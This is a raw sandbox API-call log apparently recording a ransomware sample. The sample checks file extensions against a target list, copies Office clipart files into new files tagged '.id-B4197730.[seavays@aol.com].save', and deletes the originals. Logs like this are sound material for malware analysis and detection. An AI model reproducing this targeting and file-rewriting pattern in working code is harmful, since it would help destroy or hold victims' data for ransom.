(lpString=".doc") returned 4 [0168.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString=".docx") returned 5 [0168.802] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.802] lstrlenW (lpString=".pdf") returned 4 [0168.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString=".xls") returned 4 [0168.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.802] lstrlenW (lpString=".xlsx") returned 5 [0168.802] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.802] lstrlenW (lpString=".ppt") returned 4 [0168.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.802] lstrlenW (lpString=".zip") returned 4 [0168.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.802] lstrlenW (lpString=".rar") returned 4 [0168.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString=".bz2") returned 4 [0168.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString=".7z") returned 3 [0168.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.802] lstrlenW (lpString=".dbf") returned 4 [0168.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.802] lstrlenW (lpString=".1cd") returned 4 [0168.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.803] lstrlenW (lpString=".jpg") returned 4 [0168.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.803] lstrlenW (lpString=".doc") returned 4 [0168.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString=".docx") returned 5 [0168.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.803] lstrlenW (lpString=".pdf") returned 4 [0168.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString=".xls") returned 4 [0168.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.803] lstrlenW (lpString=".xlsx") returned 5 [0168.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.803] lstrlenW (lpString=".ppt") returned 4 [0168.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.803] lstrlenW (lpString=".zip") returned 4 [0168.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.803] lstrlenW (lpString=".rar") returned 4 [0168.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString=".bz2") returned 4 [0168.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.803] lstrlenW (lpString=".7z") returned 3 [0168.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.804] lstrlenW (lpString=".dbf") returned 4 [0168.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.804] lstrlenW (lpString=".1cd") returned 4 [0168.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.804] lstrlenW (lpString=".jpg") returned 4 [0168.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.804] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.804] lstrlenW (lpString="J0105306.WMF") returned 12 [0168.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.824] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4320) returned 1 [0168.824] CloseHandle (hObject=0x530) returned 1 [0168.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0168.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.827] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.827] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.828] GetLastError () returned 0x0 [0168.828] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x10e0, lpOverlapped=0x0) returned 1 [0168.830] WriteFile (in: hFile=0x508, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x10f0, lpOverlapped=0x0) returned 1 [0168.831] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.831] WriteFile (in: hFile=0x508, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.831] SetEndOfFile (hFile=0x508) returned 1 [0168.832] CloseHandle (hObject=0x508) returned 1 [0168.832] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.832] SetEndOfFile (hFile=0x530) returned 1 [0168.835] CloseHandle (hObject=0x530) returned 1 [0168.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.837] lstrlenW (lpString=".doc") returned 4 [0168.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".docx") returned 5 [0168.837] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.837] lstrlenW (lpString=".pdf") returned 4 [0168.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString=".xls") returned 4 [0168.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.837] lstrlenW (lpString=".xlsx") returned 5 [0168.837] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.837] lstrlenW (lpString=".ppt") returned 4 [0168.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.837] lstrlenW (lpString=".zip") returned 4 [0168.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.838] lstrlenW (lpString=".rar") returned 4 [0168.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString=".bz2") returned 4 [0168.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString=".7z") returned 3 [0168.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.838] lstrlenW (lpString=".dbf") returned 4 [0168.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.838] lstrlenW (lpString=".1cd") returned 4 [0168.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.838] lstrlenW (lpString=".jpg") returned 4 [0168.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.838] lstrlenW (lpString=".doc") returned 4 [0168.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString=".docx") returned 5 [0168.838] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.838] lstrlenW (lpString=".pdf") returned 4 [0168.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.838] lstrlenW (lpString=".xls") returned 4 [0168.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.839] lstrlenW (lpString=".xlsx") returned 5 [0168.839] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.839] lstrlenW (lpString=".ppt") returned 4 [0168.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.839] lstrlenW (lpString=".zip") returned 4 [0168.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.839] lstrlenW (lpString=".rar") returned 4 [0168.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.839] lstrlenW (lpString=".bz2") returned 4 [0168.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.839] lstrlenW (lpString=".7z") returned 3 [0168.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.839] lstrlenW (lpString=".dbf") returned 4 [0168.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.839] lstrlenW (lpString=".1cd") returned 4 [0168.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0168.839] lstrlenW (lpString=".jpg") returned 4 [0168.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.840] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.840] lstrlenW (lpString="J0105328.WMF") returned 12 [0168.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.841] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7992) returned 1 [0168.843] CloseHandle (hObject=0x530) returned 1 [0168.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0168.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.844] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.844] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.845] GetLastError () returned 0x0 [0168.845] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1f38, lpOverlapped=0x0) returned 1 [0168.847] WriteFile (in: hFile=0x508, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1f40, lpOverlapped=0x0) returned 1 [0168.848] ReadFile (in: hFile=0x530, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.849] WriteFile (in: hFile=0x508, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.849] SetEndOfFile (hFile=0x508) returned 1 [0168.849] CloseHandle (hObject=0x508) returned 1 [0168.849] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.849] SetEndOfFile (hFile=0x530) returned 1 [0168.852] CloseHandle (hObject=0x530) returned 1 [0168.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.854] lstrlenW (lpString=".doc") returned 4 [0168.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString=".docx") returned 5 [0168.854] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.854] lstrlenW (lpString=".pdf") returned 4 [0168.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString=".xls") returned 4 [0168.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.854] lstrlenW (lpString=".xlsx") returned 5 [0168.854] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.854] lstrlenW (lpString=".ppt") returned 4 [0168.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.854] lstrlenW (lpString=".zip") returned 4 [0168.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.854] lstrlenW (lpString=".rar") returned 4 [0168.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString=".bz2") returned 4 [0168.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString=".7z") returned 3 [0168.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.854] lstrlenW (lpString=".dbf") returned 4 [0168.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.854] lstrlenW (lpString=".1cd") returned 4 [0168.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.855] lstrlenW (lpString=".jpg") returned 4 [0168.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.855] lstrlenW (lpString=".doc") returned 4 [0168.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString=".docx") returned 5 [0168.855] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.855] lstrlenW (lpString=".pdf") returned 4 [0168.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString=".xls") returned 4 [0168.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.855] lstrlenW (lpString=".xlsx") returned 5 [0168.855] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.855] lstrlenW (lpString=".ppt") returned 4 [0168.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.855] lstrlenW (lpString=".zip") returned 4 [0168.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.855] lstrlenW (lpString=".rar") returned 4 [0168.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.855] lstrlenW (lpString=".bz2") returned 4 [0168.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.856] lstrlenW (lpString=".7z") returned 3 [0168.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.983] lstrlenW (lpString=".dbf") returned 4 [0168.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.983] lstrlenW (lpString=".1cd") returned 4 [0168.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0168.983] lstrlenW (lpString=".jpg") returned 4 [0168.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.983] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.983] lstrlenW (lpString="J0105338.WMF") returned 12 [0168.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.450] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11584) returned 1 [0169.451] CloseHandle (hObject=0x528) returned 1 [0169.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0169.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.452] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.452] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.453] GetLastError () returned 0x0 [0169.453] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2d40, lpOverlapped=0x0) returned 1 [0169.455] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2d50, lpOverlapped=0x0) returned 1 [0169.456] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0169.456] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0169.456] SetEndOfFile (hFile=0x518) returned 1 [0169.456] CloseHandle (hObject=0x518) returned 1 [0169.456] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.457] SetEndOfFile (hFile=0x528) returned 1 [0169.460] CloseHandle (hObject=0x528) returned 1 [0169.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.462] lstrlenW (lpString=".doc") returned 4 [0169.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".docx") returned 5 [0169.462] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.462] lstrlenW (lpString=".pdf") returned 4 [0169.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".xls") returned 4 [0169.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.462] lstrlenW (lpString=".xlsx") returned 5 [0169.462] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.462] lstrlenW (lpString=".ppt") returned 4 [0169.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.462] lstrlenW 